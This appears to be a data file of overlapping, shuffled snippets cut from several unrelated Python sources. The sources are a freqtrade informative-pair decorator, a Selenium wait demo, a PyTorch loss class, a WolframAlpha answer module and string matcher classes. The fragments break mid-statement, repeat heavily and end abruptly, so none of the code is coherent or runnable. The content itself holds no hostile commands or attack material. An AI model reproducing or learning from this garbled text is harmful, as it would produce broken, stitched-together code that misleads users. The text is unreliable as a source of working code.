"* {column} - name of dataframe column. * {timeframe} -",
"inf_data.timeframe fmt = inf_data.fmt config = strategy.config if asset: #",
"same as {base}, except in upper case. * {quote} -",
"for example BTC, BTC/USDT, ETH/BTC. Do not specify to use",
"format. This optimizes for the common case: informative pairs using",
"populate_indicators_1h(self, dataframe: DataFrame, metadata: dict) -> DataFrame: dataframe['rsi'] = ta.RSI(dataframe,",
"need reevaluation. # base, quote = asset, '' raise OperationalException('Not",
"decorator def _format_pair_name(config, pair: str) -> str: return pair.format(stake_currency=config['stake_currency'], stake=config['stake_currency']).upper()",
"None, ffill: bool = True) -> Callable[[PopulateIndicators], PopulateIndicators]: \"\"\" A",
"timeframe)). When not specified, defaults to: * {base}_{quote}_{column}_{timeframe} if asset",
"inf_data.asset: fmt = '{base}_{quote}_' + fmt # Informatives of other",
"ta.RSI(dataframe, timeperiod=14) return dataframe :param timeframe: Informative timeframe. Must always",
"not specified, defaults to: * {base}_{quote}_{column}_{timeframe} if asset is specified.",
"# where it is desired to keep quote currency in",
"informative pair. \"\"\" _asset = asset _timeframe = timeframe _fmt",
"timeframe _fmt = fmt _ffill = ffill def decorator(fn: PopulateIndicators):",
"= True) -> Callable[[PopulateIndicators], PopulateIndicators]: \"\"\" A decorator for populate_indicators_Nn(self,",
"def _create_and_merge_informative_pair(strategy, dataframe: DataFrame, metadata: dict, inf_data: InformativeData, populate_indicators: PopulateIndicators):",
"current pair. asset = metadata['pair'] if '/' in asset: base,",
"inf_dataframe.rename(columns=lambda column: formatter(column=column, **fmt_args), inplace=True) date_column = formatter(column='date', **fmt_args) if",
"will define informative dataframe for current pair. asset = metadata['pair']",
"fmt='{base}_{quote}_{column}_{timeframe}' format or similar. if not fmt: fmt = '{column}_{timeframe}'",
"formatter (callable(name, asset, timeframe)). When not specified, defaults to: *",
"custom user-specified formatter function. else: formatter = fmt.format # A",
"{column}_{timeframe} if asset is not specified. Format string supports these",
"= inf_data.asset or '' timeframe = inf_data.timeframe fmt = inf_data.fmt",
"populate_indicators(strategy, inf_dataframe, inf_metadata) formatter: Any = None if callable(fmt): formatter",
"fmt: Optional[Union[str, Callable[[Any], str]]] = None, ffill: bool = True)",
"not specify to use current pair. :param fmt: Column format",
"- base currency in lower case, for example 'eth'. *",
"dataframe: DataFrame, metadata: dict) -> DataFrame: dataframe['rsi'] = ta.RSI(dataframe, timeperiod=14)",
"for example 'eth'. * {BASE} - same as {base}, except",
"[]) informative_pairs.append(InformativeData(_asset, _timeframe, _fmt, _ffill)) setattr(fn, '_ft_informative', informative_pairs) return fn",
"base currency in lower case, for example 'eth'. * {BASE}",
"asset, timeframe)). When not specified, defaults to: * {base}_{quote}_{column}_{timeframe} if",
"'base': base.lower(), 'quote': quote.lower(), 'asset': asset, 'timeframe': timeframe, } inf_dataframe.rename(columns=lambda",
"where it is desired to keep quote currency in column",
"dataframe column. * {timeframe} - timeframe of informative dataframe. :param",
"asset: str = '', fmt: Optional[Union[str, Callable[[Any], str]]] = None,",
"timeperiod=14) return dataframe :param timeframe: Informative timeframe. Must always be",
"inf_metadata) formatter: Any = None if callable(fmt): formatter = fmt",
"InformativeData, populate_indicators: PopulateIndicators): asset = inf_data.asset or '' timeframe =",
"= asset.split('/') else: # When futures are supported this may",
"* {BASE} - same as {base}, except in upper case.",
"- name of dataframe column. * {timeframe} - timeframe of",
"reconfiguring strategy to use different base currency. In a rare",
"dict) -> DataFrame: dataframe['rsi'] = ta.RSI(dataframe, timeperiod=14) return dataframe :param",
"bool def informative(timeframe: str, asset: str = '', fmt: Optional[Union[str,",
"common case: informative pairs using same stake # currency. When",
"{base}, except in upper case. * {quote} - quote currency",
"PopulateIndicators): informative_pairs = getattr(fn, '_ft_informative', []) informative_pairs.append(InformativeData(_asset, _timeframe, _fmt, _ffill))",
"DataFrame, metadata: dict, inf_data: InformativeData, populate_indicators: PopulateIndicators): asset = inf_data.asset",
"freqtrade.strategy.strategy_helper import merge_informative_pair PopulateIndicators = Callable[[Any, DataFrame, dict], DataFrame] class",
"str], None] ffill: bool def informative(timeframe: str, asset: str =",
"column formatter (callable(name, asset, timeframe)). When not specified, defaults to:",
"Ensure column names are unique!') dataframe = merge_informative_pair(dataframe, inf_dataframe, strategy.timeframe,",
"are supported this may need reevaluation. # base, quote =",
"Any = None if callable(fmt): formatter = fmt # A",
"will omit base currency. # This allows easily reconfiguring strategy",
"formatter(column='date', **fmt_args) if date_column in dataframe.columns: raise OperationalException(f'Duplicate column name",
"bool = True) -> Callable[[PopulateIndicators], PopulateIndicators]: \"\"\" A decorator for",
"fmt: fmt = '{column}_{timeframe}' # Informatives of current pair if",
"example 'eth'. * {BASE} - same as {base}, except in",
"base, quote = asset, '' raise OperationalException('Not implemented.') # Default",
"{quote}, except in upper case. * {column} - name of",
"of current pair if inf_data.asset: fmt = '{base}_{quote}_' + fmt",
"Default format. This optimizes for the common case: informative pairs",
"column: formatter(column=column, **fmt_args), inplace=True) date_column = formatter(column='date', **fmt_args) if date_column",
"allows easily reconfiguring strategy to use different base currency. In",
"ffill: bool = True) -> Callable[[PopulateIndicators], PopulateIndicators]: \"\"\" A decorator",
"currency. # This allows easily reconfiguring strategy to use different",
"specify to use current pair. :param fmt: Column format (str)"
] |
[
"True return False esperar_botao = partial(esperar_elemento, 'button') esperar_sucesso = partial(esperar_elemento,",
"partial from selenium.webdriver import Firefox from selenium.webdriver.support.ui import ( WebDriverWait",
"webdriver.find_elements_by_css_selector(elemento): return True return False esperar_botao = partial(esperar_elemento, 'button') esperar_sucesso",
"não apareceu' ) sucesso = driver.find_element_by_css_selector('#finished') assert sucesso.text == 'Carregamento",
"import partial from selenium.webdriver import Firefox from selenium.webdriver.support.ui import (",
"Firefox from selenium.webdriver.support.ui import ( WebDriverWait ) def esperar_elemento(elemento, webdriver):",
"\"{elemento}\"') if webdriver.find_elements_by_css_selector(elemento): return True return False esperar_botao = partial(esperar_elemento,",
"from selenium.webdriver import Firefox from selenium.webdriver.support.ui import ( WebDriverWait )",
"import ( WebDriverWait ) def esperar_elemento(elemento, webdriver): print(f'Tentando encontrar \"{elemento}\"')",
"return True return False esperar_botao = partial(esperar_elemento, 'button') esperar_sucesso =",
"return False esperar_botao = partial(esperar_elemento, 'button') esperar_sucesso = partial(esperar_elemento, '#finished')",
"apareceu' ) sucesso = driver.find_element_by_css_selector('#finished') assert sucesso.text == 'Carregamento concluído'",
"partial(esperar_elemento, 'button') esperar_sucesso = partial(esperar_elemento, '#finished') url = 'https://selenium.dunossauro.live/aula_09_a.html' driver",
"partial(esperar_elemento, '#finished') url = 'https://selenium.dunossauro.live/aula_09_a.html' driver = Firefox() wdw =",
"'#finished') url = 'https://selenium.dunossauro.live/aula_09_a.html' driver = Firefox() wdw = WebDriverWait(driver,",
"esperar_sucesso = partial(esperar_elemento, '#finished') url = 'https://selenium.dunossauro.live/aula_09_a.html' driver = Firefox()",
"esperar_elemento(elemento, webdriver): print(f'Tentando encontrar \"{elemento}\"') if webdriver.find_elements_by_css_selector(elemento): return True return",
"Firefox() wdw = WebDriverWait(driver, 10) driver.get(url) wdw.until(esperar_botao, 'Deu ruim') driver.find_element_by_css_selector('button').click()",
"wdw = WebDriverWait(driver, 10) driver.get(url) wdw.until(esperar_botao, 'Deu ruim') driver.find_element_by_css_selector('button').click() wdw.until(",
"driver.get(url) wdw.until(esperar_botao, 'Deu ruim') driver.find_element_by_css_selector('button').click() wdw.until( esperar_sucesso, 'A mensagem de",
"def esperar_elemento(elemento, webdriver): print(f'Tentando encontrar \"{elemento}\"') if webdriver.find_elements_by_css_selector(elemento): return True",
"ruim') driver.find_element_by_css_selector('button').click() wdw.until( esperar_sucesso, 'A mensagem de sucesso não apareceu'",
"= partial(esperar_elemento, '#finished') url = 'https://selenium.dunossauro.live/aula_09_a.html' driver = Firefox() wdw",
"print(f'Tentando encontrar \"{elemento}\"') if webdriver.find_elements_by_css_selector(elemento): return True return False esperar_botao",
"'A mensagem de sucesso não apareceu' ) sucesso = driver.find_element_by_css_selector('#finished')",
"mensagem de sucesso não apareceu' ) sucesso = driver.find_element_by_css_selector('#finished') assert",
"de sucesso não apareceu' ) sucesso = driver.find_element_by_css_selector('#finished') assert sucesso.text",
"( WebDriverWait ) def esperar_elemento(elemento, webdriver): print(f'Tentando encontrar \"{elemento}\"') if",
"= partial(esperar_elemento, 'button') esperar_sucesso = partial(esperar_elemento, '#finished') url = 'https://selenium.dunossauro.live/aula_09_a.html'",
"webdriver): print(f'Tentando encontrar \"{elemento}\"') if webdriver.find_elements_by_css_selector(elemento): return True return False",
"esperar_botao = partial(esperar_elemento, 'button') esperar_sucesso = partial(esperar_elemento, '#finished') url =",
") def esperar_elemento(elemento, webdriver): print(f'Tentando encontrar \"{elemento}\"') if webdriver.find_elements_by_css_selector(elemento): return",
"wdw.until(esperar_botao, 'Deu ruim') driver.find_element_by_css_selector('button').click() wdw.until( esperar_sucesso, 'A mensagem de sucesso",
"encontrar \"{elemento}\"') if webdriver.find_elements_by_css_selector(elemento): return True return False esperar_botao =",
"from selenium.webdriver.support.ui import ( WebDriverWait ) def esperar_elemento(elemento, webdriver): print(f'Tentando",
"esperar_sucesso, 'A mensagem de sucesso não apareceu' ) sucesso =",
"WebDriverWait ) def esperar_elemento(elemento, webdriver): print(f'Tentando encontrar \"{elemento}\"') if webdriver.find_elements_by_css_selector(elemento):",
"WebDriverWait(driver, 10) driver.get(url) wdw.until(esperar_botao, 'Deu ruim') driver.find_element_by_css_selector('button').click() wdw.until( esperar_sucesso, 'A",
"import Firefox from selenium.webdriver.support.ui import ( WebDriverWait ) def esperar_elemento(elemento,",
"driver = Firefox() wdw = WebDriverWait(driver, 10) driver.get(url) wdw.until(esperar_botao, 'Deu",
"'button') esperar_sucesso = partial(esperar_elemento, '#finished') url = 'https://selenium.dunossauro.live/aula_09_a.html' driver =",
"'https://selenium.dunossauro.live/aula_09_a.html' driver = Firefox() wdw = WebDriverWait(driver, 10) driver.get(url) wdw.until(esperar_botao,",
"driver.find_element_by_css_selector('button').click() wdw.until( esperar_sucesso, 'A mensagem de sucesso não apareceu' )",
"functools import partial from selenium.webdriver import Firefox from selenium.webdriver.support.ui import",
"'Deu ruim') driver.find_element_by_css_selector('button').click() wdw.until( esperar_sucesso, 'A mensagem de sucesso não",
"url = 'https://selenium.dunossauro.live/aula_09_a.html' driver = Firefox() wdw = WebDriverWait(driver, 10)",
"= 'https://selenium.dunossauro.live/aula_09_a.html' driver = Firefox() wdw = WebDriverWait(driver, 10) driver.get(url)",
"from functools import partial from selenium.webdriver import Firefox from selenium.webdriver.support.ui",
"10) driver.get(url) wdw.until(esperar_botao, 'Deu ruim') driver.find_element_by_css_selector('button').click() wdw.until( esperar_sucesso, 'A mensagem",
"selenium.webdriver import Firefox from selenium.webdriver.support.ui import ( WebDriverWait ) def",
"if webdriver.find_elements_by_css_selector(elemento): return True return False esperar_botao = partial(esperar_elemento, 'button')",
"wdw.until( esperar_sucesso, 'A mensagem de sucesso não apareceu' ) sucesso",
"= WebDriverWait(driver, 10) driver.get(url) wdw.until(esperar_botao, 'Deu ruim') driver.find_element_by_css_selector('button').click() wdw.until( esperar_sucesso,",
"= Firefox() wdw = WebDriverWait(driver, 10) driver.get(url) wdw.until(esperar_botao, 'Deu ruim')",
"selenium.webdriver.support.ui import ( WebDriverWait ) def esperar_elemento(elemento, webdriver): print(f'Tentando encontrar",
"False esperar_botao = partial(esperar_elemento, 'button') esperar_sucesso = partial(esperar_elemento, '#finished') url",
"sucesso não apareceu' ) sucesso = driver.find_element_by_css_selector('#finished') assert sucesso.text =="
] |
[
"nn from prae.distances import square_dist, HingedSquaredEuclidean class Loss(nn.Module): \"\"\" \"\"\"",
"self.distance.distance(z_n, z_l).mean() # Reward loss if self.rew: reward_loss = 0.5",
"\"\"\" super().__init__() self.reward_loss = square_dist # If False, no negative",
"self.reward_loss(r, r_e).mean() else: reward_loss = torch.zeros_like(transition_loss) # Negative los if",
"# Negative los if self.neg: z_n = tile(z_n, z_f) batch_size",
"batch_size = z_c.shape[0] negative_loss = self.distance.negative_distance(z_n, z_f).sum()/batch_size else: negative_loss =",
"= tile(z_n, z_f) batch_size = z_c.shape[0] negative_loss = self.distance.negative_distance(z_n, z_f).sum()/batch_size",
"def tile(embedding, example): \"\"\" \"\"\" n = example.shape[0]//embedding.shape[0] embedding =",
"self.neg: z_n = tile(z_n, z_f) batch_size = z_c.shape[0] negative_loss =",
"self.rew: reward_loss = 0.5 * self.reward_loss(r, r_e).mean() else: reward_loss =",
"z_n, z_f, r, r_e): \"\"\" \"\"\" # Transition loss transition_loss",
"negative_loss = torch.zeros_like(transition_loss) return transition_loss, reward_loss, negative_loss def tile(embedding, example):",
"\"\"\" # Transition loss transition_loss = self.distance.distance(z_n, z_l).mean() # Reward",
"\"\"\" b, n, d = x.shape x = x.reshape(b*n, d)",
"def forward(self, z_c, z_l, z_n, z_f, r, r_e): \"\"\" \"\"\"",
"forward(self, z_c, z_l, z_n, z_f, r, r_e): \"\"\" \"\"\" #",
"prae.distances import square_dist, HingedSquaredEuclidean class Loss(nn.Module): \"\"\" \"\"\" def __init__(self,",
"HingedSquaredEuclidean class Loss(nn.Module): \"\"\" \"\"\" def __init__(self, hinge, neg=True, rew=True):",
"return embedding def squeeze_embedding(x): \"\"\" \"\"\" b, n, d =",
"HingedSquaredEuclidean(eps=hinge) def forward(self, z_c, z_l, z_n, z_f, r, r_e): \"\"\"",
"example): \"\"\" \"\"\" n = example.shape[0]//embedding.shape[0] embedding = embedding.unsqueeze(1).repeat(1, n,",
"= self.distance.distance(z_n, z_l).mean() # Reward loss if self.rew: reward_loss =",
"1) embedding = squeeze_embedding(embedding) return embedding def squeeze_embedding(x): \"\"\" \"\"\"",
"= self.distance.negative_distance(z_n, z_f).sum()/batch_size else: negative_loss = torch.zeros_like(transition_loss) return transition_loss, reward_loss,",
"import torch from torch import nn from prae.distances import square_dist,",
"no negative sampling self.neg = neg # If False, no",
"transition_loss, reward_loss, negative_loss def tile(embedding, example): \"\"\" \"\"\" n =",
"# If False, no negative sampling self.neg = neg #",
"# Transition loss transition_loss = self.distance.distance(z_n, z_l).mean() # Reward loss",
"embedding def squeeze_embedding(x): \"\"\" \"\"\" b, n, d = x.shape",
"square_dist # If False, no negative sampling self.neg = neg",
"rew self.distance = HingedSquaredEuclidean(eps=hinge) def forward(self, z_c, z_l, z_n, z_f,",
"n, d = x.shape x = x.reshape(b*n, d) return x",
"Reward loss if self.rew: reward_loss = 0.5 * self.reward_loss(r, r_e).mean()",
"from torch import nn from prae.distances import square_dist, HingedSquaredEuclidean class",
"0.5 * self.reward_loss(r, r_e).mean() else: reward_loss = torch.zeros_like(transition_loss) # Negative",
"neg # If False, no reward loss self.rew = rew",
"= z_c.shape[0] negative_loss = self.distance.negative_distance(z_n, z_f).sum()/batch_size else: negative_loss = torch.zeros_like(transition_loss)",
"= 0.5 * self.reward_loss(r, r_e).mean() else: reward_loss = torch.zeros_like(transition_loss) #",
"b, n, d = x.shape x = x.reshape(b*n, d) return",
"reward_loss = 0.5 * self.reward_loss(r, r_e).mean() else: reward_loss = torch.zeros_like(transition_loss)",
"\"\"\" n = example.shape[0]//embedding.shape[0] embedding = embedding.unsqueeze(1).repeat(1, n, 1) embedding",
"self.distance.negative_distance(z_n, z_f).sum()/batch_size else: negative_loss = torch.zeros_like(transition_loss) return transition_loss, reward_loss, negative_loss",
"z_l, z_n, z_f, r, r_e): \"\"\" \"\"\" # Transition loss",
"def squeeze_embedding(x): \"\"\" \"\"\" b, n, d = x.shape x",
"r_e): \"\"\" \"\"\" # Transition loss transition_loss = self.distance.distance(z_n, z_l).mean()",
"reward loss self.rew = rew self.distance = HingedSquaredEuclidean(eps=hinge) def forward(self,",
"= rew self.distance = HingedSquaredEuclidean(eps=hinge) def forward(self, z_c, z_l, z_n,",
"square_dist, HingedSquaredEuclidean class Loss(nn.Module): \"\"\" \"\"\" def __init__(self, hinge, neg=True,",
"* self.reward_loss(r, r_e).mean() else: reward_loss = torch.zeros_like(transition_loss) # Negative los",
"example.shape[0]//embedding.shape[0] embedding = embedding.unsqueeze(1).repeat(1, n, 1) embedding = squeeze_embedding(embedding) return",
"z_c, z_l, z_n, z_f, r, r_e): \"\"\" \"\"\" # Transition",
"z_l).mean() # Reward loss if self.rew: reward_loss = 0.5 *",
"transition_loss = self.distance.distance(z_n, z_l).mean() # Reward loss if self.rew: reward_loss",
"torch.zeros_like(transition_loss) return transition_loss, reward_loss, negative_loss def tile(embedding, example): \"\"\" \"\"\"",
"hinge, neg=True, rew=True): \"\"\" \"\"\" super().__init__() self.reward_loss = square_dist #",
"loss transition_loss = self.distance.distance(z_n, z_l).mean() # Reward loss if self.rew:",
"import square_dist, HingedSquaredEuclidean class Loss(nn.Module): \"\"\" \"\"\" def __init__(self, hinge,",
"False, no negative sampling self.neg = neg # If False,",
"\"\"\" \"\"\" b, n, d = x.shape x = x.reshape(b*n,",
"<gh_stars>10-100 import torch from torch import nn from prae.distances import",
"from prae.distances import square_dist, HingedSquaredEuclidean class Loss(nn.Module): \"\"\" \"\"\" def",
"rew=True): \"\"\" \"\"\" super().__init__() self.reward_loss = square_dist # If False,",
"if self.neg: z_n = tile(z_n, z_f) batch_size = z_c.shape[0] negative_loss",
"If False, no reward loss self.rew = rew self.distance =",
"else: negative_loss = torch.zeros_like(transition_loss) return transition_loss, reward_loss, negative_loss def tile(embedding,",
"= squeeze_embedding(embedding) return embedding def squeeze_embedding(x): \"\"\" \"\"\" b, n,",
"z_n = tile(z_n, z_f) batch_size = z_c.shape[0] negative_loss = self.distance.negative_distance(z_n,",
"__init__(self, hinge, neg=True, rew=True): \"\"\" \"\"\" super().__init__() self.reward_loss = square_dist",
"squeeze_embedding(embedding) return embedding def squeeze_embedding(x): \"\"\" \"\"\" b, n, d",
"squeeze_embedding(x): \"\"\" \"\"\" b, n, d = x.shape x =",
"= HingedSquaredEuclidean(eps=hinge) def forward(self, z_c, z_l, z_n, z_f, r, r_e):",
"= square_dist # If False, no negative sampling self.neg =",
"embedding = squeeze_embedding(embedding) return embedding def squeeze_embedding(x): \"\"\" \"\"\" b,",
"los if self.neg: z_n = tile(z_n, z_f) batch_size = z_c.shape[0]",
"Transition loss transition_loss = self.distance.distance(z_n, z_l).mean() # Reward loss if",
"tile(z_n, z_f) batch_size = z_c.shape[0] negative_loss = self.distance.negative_distance(z_n, z_f).sum()/batch_size else:",
"n = example.shape[0]//embedding.shape[0] embedding = embedding.unsqueeze(1).repeat(1, n, 1) embedding =",
"Loss(nn.Module): \"\"\" \"\"\" def __init__(self, hinge, neg=True, rew=True): \"\"\" \"\"\"",
"z_f).sum()/batch_size else: negative_loss = torch.zeros_like(transition_loss) return transition_loss, reward_loss, negative_loss def",
"torch import nn from prae.distances import square_dist, HingedSquaredEuclidean class Loss(nn.Module):",
"if self.rew: reward_loss = 0.5 * self.reward_loss(r, r_e).mean() else: reward_loss",
"self.neg = neg # If False, no reward loss self.rew",
"= torch.zeros_like(transition_loss) return transition_loss, reward_loss, negative_loss def tile(embedding, example): \"\"\"",
"negative_loss = self.distance.negative_distance(z_n, z_f).sum()/batch_size else: negative_loss = torch.zeros_like(transition_loss) return transition_loss,",
"self.rew = rew self.distance = HingedSquaredEuclidean(eps=hinge) def forward(self, z_c, z_l,",
"# If False, no reward loss self.rew = rew self.distance",
"loss if self.rew: reward_loss = 0.5 * self.reward_loss(r, r_e).mean() else:",
"z_c.shape[0] negative_loss = self.distance.negative_distance(z_n, z_f).sum()/batch_size else: negative_loss = torch.zeros_like(transition_loss) return",
"\"\"\" \"\"\" n = example.shape[0]//embedding.shape[0] embedding = embedding.unsqueeze(1).repeat(1, n, 1)",
"\"\"\" def __init__(self, hinge, neg=True, rew=True): \"\"\" \"\"\" super().__init__() self.reward_loss",
"def __init__(self, hinge, neg=True, rew=True): \"\"\" \"\"\" super().__init__() self.reward_loss =",
"else: reward_loss = torch.zeros_like(transition_loss) # Negative los if self.neg: z_n",
"negative_loss def tile(embedding, example): \"\"\" \"\"\" n = example.shape[0]//embedding.shape[0] embedding",
"reward_loss = torch.zeros_like(transition_loss) # Negative los if self.neg: z_n =",
"neg=True, rew=True): \"\"\" \"\"\" super().__init__() self.reward_loss = square_dist # If",
"= embedding.unsqueeze(1).repeat(1, n, 1) embedding = squeeze_embedding(embedding) return embedding def",
"z_f) batch_size = z_c.shape[0] negative_loss = self.distance.negative_distance(z_n, z_f).sum()/batch_size else: negative_loss",
"# Reward loss if self.rew: reward_loss = 0.5 * self.reward_loss(r,",
"super().__init__() self.reward_loss = square_dist # If False, no negative sampling",
"Negative los if self.neg: z_n = tile(z_n, z_f) batch_size =",
"class Loss(nn.Module): \"\"\" \"\"\" def __init__(self, hinge, neg=True, rew=True): \"\"\"",
"torch.zeros_like(transition_loss) # Negative los if self.neg: z_n = tile(z_n, z_f)",
"\"\"\" \"\"\" def __init__(self, hinge, neg=True, rew=True): \"\"\" \"\"\" super().__init__()",
"n, 1) embedding = squeeze_embedding(embedding) return embedding def squeeze_embedding(x): \"\"\"",
"embedding.unsqueeze(1).repeat(1, n, 1) embedding = squeeze_embedding(embedding) return embedding def squeeze_embedding(x):",
"r_e).mean() else: reward_loss = torch.zeros_like(transition_loss) # Negative los if self.neg:",
"= example.shape[0]//embedding.shape[0] embedding = embedding.unsqueeze(1).repeat(1, n, 1) embedding = squeeze_embedding(embedding)",
"embedding = embedding.unsqueeze(1).repeat(1, n, 1) embedding = squeeze_embedding(embedding) return embedding",
"= torch.zeros_like(transition_loss) # Negative los if self.neg: z_n = tile(z_n,",
"r, r_e): \"\"\" \"\"\" # Transition loss transition_loss = self.distance.distance(z_n,",
"= neg # If False, no reward loss self.rew =",
"negative sampling self.neg = neg # If False, no reward",
"sampling self.neg = neg # If False, no reward loss",
"\"\"\" \"\"\" # Transition loss transition_loss = self.distance.distance(z_n, z_l).mean() #",
"no reward loss self.rew = rew self.distance = HingedSquaredEuclidean(eps=hinge) def",
"False, no reward loss self.rew = rew self.distance = HingedSquaredEuclidean(eps=hinge)",
"import nn from prae.distances import square_dist, HingedSquaredEuclidean class Loss(nn.Module): \"\"\"",
"\"\"\" \"\"\" super().__init__() self.reward_loss = square_dist # If False, no",
"If False, no negative sampling self.neg = neg # If",
"reward_loss, negative_loss def tile(embedding, example): \"\"\" \"\"\" n = example.shape[0]//embedding.shape[0]",
"z_f, r, r_e): \"\"\" \"\"\" # Transition loss transition_loss =",
"tile(embedding, example): \"\"\" \"\"\" n = example.shape[0]//embedding.shape[0] embedding = embedding.unsqueeze(1).repeat(1,",
"loss self.rew = rew self.distance = HingedSquaredEuclidean(eps=hinge) def forward(self, z_c,",
"return transition_loss, reward_loss, negative_loss def tile(embedding, example): \"\"\" \"\"\" n",
"self.reward_loss = square_dist # If False, no negative sampling self.neg",
"self.distance = HingedSquaredEuclidean(eps=hinge) def forward(self, z_c, z_l, z_n, z_f, r,",
"torch from torch import nn from prae.distances import square_dist, HingedSquaredEuclidean"
] |
[
"class AnswerTask(ActiveTask): def match(self, text): return True def action(self, text):",
"is Mount Everest?\" - \"What is the derivative of y",
"key Usage Examples: - \"How tall is Mount Everest?\" -",
"Handles most general questions (including math!) Requires: - WolframAlpha API",
"wolframalpha.Client(settings.WOLFRAM_KEY) class AnswerTask(ActiveTask): def match(self, text): return True def action(self,",
"try: query = wolfram_client.query(text) self.speak(next(query.results).text) except: self.speak(settings.NO_MODULES) class Wolfram(Module): def",
"self.speak(next(query.results).text) except: self.speak(settings.NO_MODULES) class Wolfram(Module): def __init__(self): tasks = [AnswerTask()]",
"\"\"\" Handles most general questions (including math!) Requires: - WolframAlpha",
"Everest?\" - \"What is the derivative of y = 2x?\"",
"- WolframAlpha API key Usage Examples: - \"How tall is",
"the derivative of y = 2x?\" \"\"\" import wolframalpha from",
"from orion.classes.module import Module from orion.classes.task import ActiveTask from orion",
"= wolfram_client.query(text) self.speak(next(query.results).text) except: self.speak(settings.NO_MODULES) class Wolfram(Module): def __init__(self): tasks",
"orion.classes.task import ActiveTask from orion import settings wolfram_client = wolframalpha.Client(settings.WOLFRAM_KEY)",
"API key Usage Examples: - \"How tall is Mount Everest?\"",
"wolfram_client.query(text) self.speak(next(query.results).text) except: self.speak(settings.NO_MODULES) class Wolfram(Module): def __init__(self): tasks =",
"text): try: query = wolfram_client.query(text) self.speak(next(query.results).text) except: self.speak(settings.NO_MODULES) class Wolfram(Module):",
"self.speak(settings.NO_MODULES) class Wolfram(Module): def __init__(self): tasks = [AnswerTask()] super(Wolfram, self).__init__('wolfram',",
"Usage Examples: - \"How tall is Mount Everest?\" - \"What",
"questions (including math!) Requires: - WolframAlpha API key Usage Examples:",
"from orion.classes.task import ActiveTask from orion import settings wolfram_client =",
"<reponame>isathish/ai_opesource \"\"\" Handles most general questions (including math!) Requires: -",
"Examples: - \"How tall is Mount Everest?\" - \"What is",
"import settings wolfram_client = wolframalpha.Client(settings.WOLFRAM_KEY) class AnswerTask(ActiveTask): def match(self, text):",
"most general questions (including math!) Requires: - WolframAlpha API key",
"Wolfram(Module): def __init__(self): tasks = [AnswerTask()] super(Wolfram, self).__init__('wolfram', tasks, priority=0)",
"\"\"\" import wolframalpha from orion.classes.module import Module from orion.classes.task import",
"orion import settings wolfram_client = wolframalpha.Client(settings.WOLFRAM_KEY) class AnswerTask(ActiveTask): def match(self,",
"general questions (including math!) Requires: - WolframAlpha API key Usage",
"import Module from orion.classes.task import ActiveTask from orion import settings",
"settings wolfram_client = wolframalpha.Client(settings.WOLFRAM_KEY) class AnswerTask(ActiveTask): def match(self, text): return",
"import wolframalpha from orion.classes.module import Module from orion.classes.task import ActiveTask",
"- \"How tall is Mount Everest?\" - \"What is the",
"query = wolfram_client.query(text) self.speak(next(query.results).text) except: self.speak(settings.NO_MODULES) class Wolfram(Module): def __init__(self):",
"wolframalpha from orion.classes.module import Module from orion.classes.task import ActiveTask from",
"Mount Everest?\" - \"What is the derivative of y =",
"ActiveTask from orion import settings wolfram_client = wolframalpha.Client(settings.WOLFRAM_KEY) class AnswerTask(ActiveTask):",
"math!) Requires: - WolframAlpha API key Usage Examples: - \"How",
"class Wolfram(Module): def __init__(self): tasks = [AnswerTask()] super(Wolfram, self).__init__('wolfram', tasks,",
"\"What is the derivative of y = 2x?\" \"\"\" import",
"= 2x?\" \"\"\" import wolframalpha from orion.classes.module import Module from",
"import ActiveTask from orion import settings wolfram_client = wolframalpha.Client(settings.WOLFRAM_KEY) class",
"wolfram_client = wolframalpha.Client(settings.WOLFRAM_KEY) class AnswerTask(ActiveTask): def match(self, text): return True",
"AnswerTask(ActiveTask): def match(self, text): return True def action(self, text): try:",
"def match(self, text): return True def action(self, text): try: query",
"is the derivative of y = 2x?\" \"\"\" import wolframalpha",
"derivative of y = 2x?\" \"\"\" import wolframalpha from orion.classes.module",
"text): return True def action(self, text): try: query = wolfram_client.query(text)",
"True def action(self, text): try: query = wolfram_client.query(text) self.speak(next(query.results).text) except:",
"return True def action(self, text): try: query = wolfram_client.query(text) self.speak(next(query.results).text)",
"except: self.speak(settings.NO_MODULES) class Wolfram(Module): def __init__(self): tasks = [AnswerTask()] super(Wolfram,",
"y = 2x?\" \"\"\" import wolframalpha from orion.classes.module import Module",
"- \"What is the derivative of y = 2x?\" \"\"\"",
"orion.classes.module import Module from orion.classes.task import ActiveTask from orion import",
"= wolframalpha.Client(settings.WOLFRAM_KEY) class AnswerTask(ActiveTask): def match(self, text): return True def",
"action(self, text): try: query = wolfram_client.query(text) self.speak(next(query.results).text) except: self.speak(settings.NO_MODULES) class",
"match(self, text): return True def action(self, text): try: query =",
"Module from orion.classes.task import ActiveTask from orion import settings wolfram_client",
"(including math!) Requires: - WolframAlpha API key Usage Examples: -",
"2x?\" \"\"\" import wolframalpha from orion.classes.module import Module from orion.classes.task",
"WolframAlpha API key Usage Examples: - \"How tall is Mount",
"\"How tall is Mount Everest?\" - \"What is the derivative",
"of y = 2x?\" \"\"\" import wolframalpha from orion.classes.module import",
"Requires: - WolframAlpha API key Usage Examples: - \"How tall",
"from orion import settings wolfram_client = wolframalpha.Client(settings.WOLFRAM_KEY) class AnswerTask(ActiveTask): def",
"tall is Mount Everest?\" - \"What is the derivative of",
"def action(self, text): try: query = wolfram_client.query(text) self.speak(next(query.results).text) except: self.speak(settings.NO_MODULES)"
] |
[
"PolymorphicMatcher class ExactMatcher(PolymorphicMatcher): def compile_pattern(self, raw_pattern): return raw_pattern def compile_pattern_cs(self,",
"return raw_pattern.lower() def compile_pattern_cf(self, raw_pattern): return raw_pattern.casefold() def match_text(self, pattern,",
"def compile_pattern_ci(self, raw_pattern): return raw_pattern.lower() def compile_pattern_cf(self, raw_pattern): return raw_pattern.casefold()",
"raw_pattern): return raw_pattern.lower() def compile_pattern_cf(self, raw_pattern): return raw_pattern.casefold() def match_text(self,",
"compile_pattern_cf(self, raw_pattern): return raw_pattern.casefold() def match_text(self, pattern, text): return text",
"def compile_pattern_cs(self, raw_pattern): return raw_pattern def compile_pattern_ci(self, raw_pattern): return raw_pattern.lower()",
"match_text(self, pattern, text): return text == pattern @classmethod def get_type(cls):",
"def match_text(self, pattern, text): return text == pattern @classmethod def",
"compile_pattern_ci(self, raw_pattern): return raw_pattern.lower() def compile_pattern_cf(self, raw_pattern): return raw_pattern.casefold() def",
"def get_type(cls): return \"exact\" class ContainsMatcher(PolymorphicMatcher): def compile_pattern(self, raw_pattern): return",
"raw_pattern): return raw_pattern def compile_pattern_cs(self, raw_pattern): return raw_pattern def compile_pattern_ci(self,",
"\"exact\" class ContainsMatcher(PolymorphicMatcher): def compile_pattern(self, raw_pattern): return raw_pattern def compile_pattern_cs(self,",
